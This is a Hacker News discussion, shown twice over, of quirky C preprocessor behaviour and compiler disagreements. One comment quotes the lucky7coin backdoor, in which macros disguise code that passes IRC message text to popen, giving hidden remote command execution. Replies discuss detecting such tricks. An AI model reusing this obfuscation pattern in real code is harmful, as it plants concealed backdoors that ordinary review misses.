6 ms·

Scandalous Weird Old Things About the C Preprocessor

97 points by robertelder 11y ago

evmar 11y ago
Here's one I recently learned about: http://reviews.llvm.org/D15866 http://reviews.llvm.org/D15866 #define FOO #define BAR defined(FOO) #if BAR ... #else ... #endif clang and gcc will pick the #if branch while Visual Studio will take the #else branch.
- rootbear 11y ago
  Interesting. I don't think I ever tried to use a macro in the conditional expression of a #if, except inside a defined() or undef(). From my time on the C committee, I recall that the preprocessor was a royal pain to get right. It has it's own set of token rules that aren't the same as C itself, for example. I am also reminded of the button I used to have that said, "Defining define is undefined."
- speeder 11y ago
  STTLPORT (4.6 at least... don't checked 5.x) has lots, lots of these... I wonder how it don't crap out completely O.o
- cremno 11y ago
  There are also so-called computed includes (IB instead of UB though): https://gcc.gnu.org/onlinedocs/cpp/Computed-Includes.html https://gcc.gnu.org/onlinedocs/cpp/Computed-Includes.html #define SYSTEM_H "system_1.h" ... #include SYSTEM_H
- nkurz 11y ago
  This doesn't seem quite right. Did you maybe mean "#undefine FOO" or "! defined(FOO)"? Whether BAR gets expanded or not, in your example it looks like it would always evaluate true. Or am I misunderstanding the ambiguity? It might be telling that I also don't understand the Clang bug report as written. I think there are typos in the examples. Is the switch from "HAVE_FOO_BAR" to "HAVE_FOO" in the first example intentional? Is the construct "#defined" (with a final 'd') intentional in the second?
  - evmar 11y ago
    I'm not sure -- I'm going off what the Clang bug says. They have a spec ref in there. (Note that you can't trust your intuition on how compilers work, you can only trust the spec and experiments.) If it helps any here is the real-world code where this problem came up: https://codereview.chromium.org/1584203002/ https://codereview.chromium.org/1584203002/ Edit: another reference: https://gcc.gnu.org/onlinedocs/cpp/Defined.html#Defined https://gcc.gnu.org/onlinedocs/cpp/Defined.html#Defined "If the defined operator appears as a result of a macro expansion, the C standard says the behavior is undefined."
    - nkurz 11y ago
      OK, I've now tested. For this test code: #define FOO #define BAR defined(FOO) #if BAR #error "true" #else #error "false" #endif Clang, GCC, and ICC evaluate the "true" branch, while MSVC evaluates the "false" branch. For the same test code with first line changed to "undef": #undef FOO #define BAR defined(FOO) #if BAR #error "true" #else #error "false" #endif MSVC, Clang, GCC, and ICC all agree on "false". Importantly, though, when used with "/Wall", MSVC gives this error message in both cases: main.cpp(3): warning C4668: 'definedFOO' is not defined as a preprocessor macro, replacing with '0' for '#if/#elif' None of the other three compilers give any warnings even with '-Wall -Wextra -pedantic". So there definitely is a difference in behavior, but I don't think it's actually the one that's presumed in that bug. For further experimentation, Clang, GCC, and ICC can be tested online here: http://gcc.godbolt.org/ http://gcc.godbolt.org/ And MSVC can be tested online here: http://webcompiler.cloudapp.net/ http://webcompiler.cloudapp.net/
      - bla2 11y ago
        According to the link posted by evmar, clang warns on this starting at r258128.
- cyphar 11y ago
  That just looks like a Visual Studio bug to me.
- random_upvoter 11y ago
  There are quite a few differences between msvc and the other compilers. For instance: #define a(x,y) x+y void f(int i) { a(i,+); } will compile without errors with cl but not with any other compiler.
DubiousPusher 11y ago
Has there been any notion of a replacement Meta/Macro language for C? Something open source. Of course pre-preprocessing one's files and the complexity that might add to the build system are unattractive but I'd still be interested if someone has attacked this problem.
- pcwalton 11y ago
  The module and template features (along with static if, if the committees figure out what to do in that area) in the newest versions of C++ together get pretty close to replacing the C preprocessor.
  - ArkyBeagle 11y ago
    Static if can be ( crudely ) synthesized today.
- ctstover 11y ago
  My school of thought would be to limit it to just #include, #if, #else, #end, and non-recursive single word only #define / #undef. Force everything to be 1 per single line, and call it a day. Macros should always be the absolute last resort to doing anything. Stepping through code in gdb with some "creative" macro-based API is almost as bad as C++.
  - ArkyBeagle 11y ago
    I've seen 'C' macros used to do template-ey things that probably reinforced the readability of the code ( once you get used to the fact that the macros were there at all ) . More modern compilers allow using non-static "const" constructs to do much of the same, which is a great improvement. To wit: #define in_bounds(lower,x,upper) ((x <upper) && (x >lower)) vs. const bool in_bounds = ((x > lower) && ( x < upper )); Macros can be used effectively for reduction in strength, so long as you're not too clever about it.
  - DubiousPusher 11y ago
    You'll forgive me if my knowledge is a bit dated. I largely work on tools integration these days and don't do much in the way of framework development but aren't macros pretty much the defacto way of doing reflection/rtti. Actually, almost every mature framework I've worked with in the past used macros to markup class properties, register types, etc.
pjc50 11y ago
The C preprocessor is a horrendous way of doing metaprogramming that was implemented because it was relatively easy to do as a separate pass. There's a reason why very few other languages have done it this way. A good knowledge of the preprocessor is essential for writing obfuscated and underhanded C. For example, the lucky7coin backdoor: https://github.com/alerj78/lucky7coin/issues/1 https://github.com/alerj78/lucky7coin/issues/1 where the code if (vWords[1] == CBuff && vWords[3] == ":!" && vWords[0].size() > 1) { CLine *buf = CRead(strstr(strLine.c_str(), vWords[4].c_str()), "r"); expands to if (vWords[1] == "PR" "IV" "M" "SG" && vWords[3] == ":!" && vWords[0].size() > 1) { FILE *buf = popen(strstr(strLine.c_str(), vWords[4].c_str()), "r");
- yid 11y ago
  This is so absurdly simple and yet devastating. Reading some of the comments on the Github issue you posted, this stood out (I don't know anything about lucky7coin): > So disappointing such code was not reviewed by Vern and team before running it on the server where damage could result. So this code was actually put into production somewhere at some point -- wow. And cursory code review and compiling from source will do absolutely nothing here.
  - mitchty 11y ago
    This is why you dump out source after the preprocessor has had its way with it. gcc -E somethinghokey.c | less The only thing you could hope to do would be to look for PRIVMSG in the binary after compiling or to look at the file post preprocessor.
    - pjc50 11y ago
      That often expands into hundreds of thousands of lines though. It's more routine to go backdoor-hunting in binaries; you've given me the interesting idea of running `strings` on the binary and looking for anything that's not in the source.
      - daurnimator 11y ago
pklausler 11y ago
I've written a C preprocessor and I agree that the language standard documents are ambiguous and incomplete. The best I could do was hack on it until it matched GCC's preprocessor well enough to compile Linux. I don't recall all the horrid details, but one case that I do remember driving me nuts was the use of #if/#endif in the argument to a function-like macro.
TazeTSchnitzel 11y ago
Relatedly, C is a purely functional programming language: http://conal.net/blog/posts/the-c-language-is-purely-functional http://conal.net/blog/posts/the-c-language-is-purely-functio...
biot 11y ago
Kind of click-baity, no? Though the title is missing "You won't believe what happens next... developers hate it!"
breadbox 11y ago
I hate to say it, but I was rather unimpressed by this list, and nothing in it surprised me. While I certainly agree that the C preprocessor is a relic, and has not weathered the test of time well, I would suggest that a number of the supposed infelicities mentioned in this article stem from the misleading idea that the preprocessor is an integral part of the C language proper, when it is better thought of as its own language (and one that was traditionally done by a completely separate program). The preprocessor does things differently than the rest of C, because it's not C. It is a text-processing language of convenience, provided specifically for doing things that C itself cannot (or should not) do.
- robertelder 11y ago
  I'll try harder next time.
cyphar 11y ago
I'm 95% sure the last example in #3 is undefined behaviour. #(a b c) is not valid, so evaluating it with multiple levels of indirection probably is a compiler bug for not erroring out.
- cyphar 11y ago
  And the last 3 or 4 are odd, but are required for some of the hacks required in the early days of C (and some are almost certainly used in the Linux kernel source today).
colanderman 11y ago
#2 is incorrect. Being sensitive to line breaks does not make a grammar context-sensitive. It just means you have to treat line breaks as tokens rather than ignorable whitespace (which is exactly what the context-free grammar given in the C11 standard does). Same with the bit about concatenating tokens. Every single one of those examples has a static parse tree, which, for the C preprocessor, is a sequence of tokens and directives. The author seems to be confusing the preprocessor's parse tree with the effect it has on the underlying text. (Yes, the output of the preprocessor is dependent on what you define, but that has nothing to do with the grammar. What the author claims is like saying a Lisp is context-sensitive because the factorial function produces a different values for different inputs!) Now, if you could do this: #define foobar define #foobar x 123 x and get "123", that would be a context-sensitive grammar. But that is NOT a thing you can do!

97 points by robertelder 11y ago

evmar 11y ago

Here's one I recently learned about: http://reviews.llvm.org/D15866 http://reviews.llvm.org/D15866 #define FOO #define BAR defined(FOO) #if BAR ... #else ... #endif clang and gcc will pick the #if branch while Visual Studio will take the #else branch.

rootbear 11y ago
Interesting. I don't think I ever tried to use a macro in the conditional expression of a #if, except inside a defined() or undef(). From my time on the C committee, I recall that the preprocessor was a royal pain to get right. It has it's own set of token rules that aren't the same as C itself, for example. I am also reminded of the button I used to have that said, "Defining define is undefined."
speeder 11y ago
STTLPORT (4.6 at least... don't checked 5.x) has lots, lots of these... I wonder how it don't crap out completely O.o
cremno 11y ago
There are also so-called computed includes (IB instead of UB though): https://gcc.gnu.org/onlinedocs/cpp/Computed-Includes.html https://gcc.gnu.org/onlinedocs/cpp/Computed-Includes.html #define SYSTEM_H "system_1.h" ... #include SYSTEM_H
nkurz 11y ago
This doesn't seem quite right. Did you maybe mean "#undefine FOO" or "! defined(FOO)"? Whether BAR gets expanded or not, in your example it looks like it would always evaluate true. Or am I misunderstanding the ambiguity? It might be telling that I also don't understand the Clang bug report as written. I think there are typos in the examples. Is the switch from "HAVE_FOO_BAR" to "HAVE_FOO" in the first example intentional? Is the construct "#defined" (with a final 'd') intentional in the second?
- evmar 11y ago
  I'm not sure -- I'm going off what the Clang bug says. They have a spec ref in there. (Note that you can't trust your intuition on how compilers work, you can only trust the spec and experiments.) If it helps any here is the real-world code where this problem came up: https://codereview.chromium.org/1584203002/ https://codereview.chromium.org/1584203002/ Edit: another reference: https://gcc.gnu.org/onlinedocs/cpp/Defined.html#Defined https://gcc.gnu.org/onlinedocs/cpp/Defined.html#Defined "If the defined operator appears as a result of a macro expansion, the C standard says the behavior is undefined."
  - nkurz 11y ago
    OK, I've now tested. For this test code: #define FOO #define BAR defined(FOO) #if BAR #error "true" #else #error "false" #endif Clang, GCC, and ICC evaluate the "true" branch, while MSVC evaluates the "false" branch. For the same test code with first line changed to "undef": #undef FOO #define BAR defined(FOO) #if BAR #error "true" #else #error "false" #endif MSVC, Clang, GCC, and ICC all agree on "false". Importantly, though, when used with "/Wall", MSVC gives this error message in both cases: main.cpp(3): warning C4668: 'definedFOO' is not defined as a preprocessor macro, replacing with '0' for '#if/#elif' None of the other three compilers give any warnings even with '-Wall -Wextra -pedantic". So there definitely is a difference in behavior, but I don't think it's actually the one that's presumed in that bug. For further experimentation, Clang, GCC, and ICC can be tested online here: http://gcc.godbolt.org/ http://gcc.godbolt.org/ And MSVC can be tested online here: http://webcompiler.cloudapp.net/ http://webcompiler.cloudapp.net/
    - bla2 11y ago
      According to the link posted by evmar, clang warns on this starting at r258128.
cyphar 11y ago
That just looks like a Visual Studio bug to me.
random_upvoter 11y ago
There are quite a few differences between msvc and the other compilers. For instance: #define a(x,y) x+y void f(int i) { a(i,+); } will compile without errors with cl but not with any other compiler.

DubiousPusher 11y ago

Has there been any notion of a replacement Meta/Macro language for C? Something open source. Of course pre-preprocessing one's files and the complexity that might add to the build system are unattractive but I'd still be interested if someone has attacked this problem.

pcwalton 11y ago
The module and template features (along with static if, if the committees figure out what to do in that area) in the newest versions of C++ together get pretty close to replacing the C preprocessor.
- ArkyBeagle 11y ago
  Static if can be ( crudely ) synthesized today.
ctstover 11y ago
My school of thought would be to limit it to just #include, #if, #else, #end, and non-recursive single word only #define / #undef. Force everything to be 1 per single line, and call it a day. Macros should always be the absolute last resort to doing anything. Stepping through code in gdb with some "creative" macro-based API is almost as bad as C++.
- ArkyBeagle 11y ago
  I've seen 'C' macros used to do template-ey things that probably reinforced the readability of the code ( once you get used to the fact that the macros were there at all ) . More modern compilers allow using non-static "const" constructs to do much of the same, which is a great improvement. To wit: #define in_bounds(lower,x,upper) ((x <upper) && (x >lower)) vs. const bool in_bounds = ((x > lower) && ( x < upper )); Macros can be used effectively for reduction in strength, so long as you're not too clever about it.
- DubiousPusher 11y ago
  You'll forgive me if my knowledge is a bit dated. I largely work on tools integration these days and don't do much in the way of framework development but aren't macros pretty much the defacto way of doing reflection/rtti. Actually, almost every mature framework I've worked with in the past used macros to markup class properties, register types, etc.

pjc50 11y ago

The C preprocessor is a horrendous way of doing metaprogramming that was implemented because it was relatively easy to do as a separate pass. There's a reason why very few other languages have done it this way. A good knowledge of the preprocessor is essential for writing obfuscated and underhanded C. For example, the lucky7coin backdoor: https://github.com/alerj78/lucky7coin/issues/1 https://github.com/alerj78/lucky7coin/issues/1 where the code if (vWords[1] == CBuff && vWords[3] == ":!" && vWords[0].size() > 1) { CLine *buf = CRead(strstr(strLine.c_str(), vWords[4].c_str()), "r"); expands to if (vWords[1] == "PR" "IV" "M" "SG" && vWords[3] == ":!" && vWords[0].size() > 1) { FILE *buf = popen(strstr(strLine.c_str(), vWords[4].c_str()), "r");

yid 11y ago
This is so absurdly simple and yet devastating. Reading some of the comments on the Github issue you posted, this stood out (I don't know anything about lucky7coin): > So disappointing such code was not reviewed by Vern and team before running it on the server where damage could result. So this code was actually put into production somewhere at some point -- wow. And cursory code review and compiling from source will do absolutely nothing here.
- mitchty 11y ago
  This is why you dump out source after the preprocessor has had its way with it. gcc -E somethinghokey.c | less The only thing you could hope to do would be to look for PRIVMSG in the binary after compiling or to look at the file post preprocessor.
  - pjc50 11y ago
    That often expands into hundreds of thousands of lines though. It's more routine to go backdoor-hunting in binaries; you've given me the interesting idea of running `strings` on the binary and looking for anything that's not in the source.
    - daurnimator 11y ago

pklausler 11y ago

I've written a C preprocessor and I agree that the language standard documents are ambiguous and incomplete. The best I could do was hack on it until it matched GCC's preprocessor well enough to compile Linux. I don't recall all the horrid details, but one case that I do remember driving me nuts was the use of #if/#endif in the argument to a function-like macro.

TazeTSchnitzel 11y ago

Relatedly, C is a purely functional programming language: http://conal.net/blog/posts/the-c-language-is-purely-functional http://conal.net/blog/posts/the-c-language-is-purely-functio...

biot 11y ago

Kind of click-baity, no? Though the title is missing "You won't believe what happens next... developers hate it!"

breadbox 11y ago

I hate to say it, but I was rather unimpressed by this list, and nothing in it surprised me. While I certainly agree that the C preprocessor is a relic, and has not weathered the test of time well, I would suggest that a number of the supposed infelicities mentioned in this article stem from the misleading idea that the preprocessor is an integral part of the C language proper, when it is better thought of as its own language (and one that was traditionally done by a completely separate program). The preprocessor does things differently than the rest of C, because it's not C. It is a text-processing language of convenience, provided specifically for doing things that C itself cannot (or should not) do.

robertelder 11y ago
I'll try harder next time.

cyphar 11y ago

I'm 95% sure the last example in #3 is undefined behaviour. #(a b c) is not valid, so evaluating it with multiple levels of indirection probably is a compiler bug for not erroring out.

cyphar 11y ago
And the last 3 or 4 are odd, but are required for some of the hacks required in the early days of C (and some are almost certainly used in the Linux kernel source today).

colanderman 11y ago

#2 is incorrect. Being sensitive to line breaks does not make a grammar context-sensitive. It just means you have to treat line breaks as tokens rather than ignorable whitespace (which is exactly what the context-free grammar given in the C11 standard does). Same with the bit about concatenating tokens. Every single one of those examples has a static parse tree, which, for the C preprocessor, is a sequence of tokens and directives. The author seems to be confusing the preprocessor's parse tree with the effect it has on the underlying text. (Yes, the output of the preprocessor is dependent on what you define, but that has nothing to do with the grammar. What the author claims is like saying a Lisp is context-sensitive because the factorial function produces a different values for different inputs!) Now, if you could do this: #define foobar define #foobar x 123 x and get "123", that would be a context-sensitive grammar. But that is NOT a thing you can do!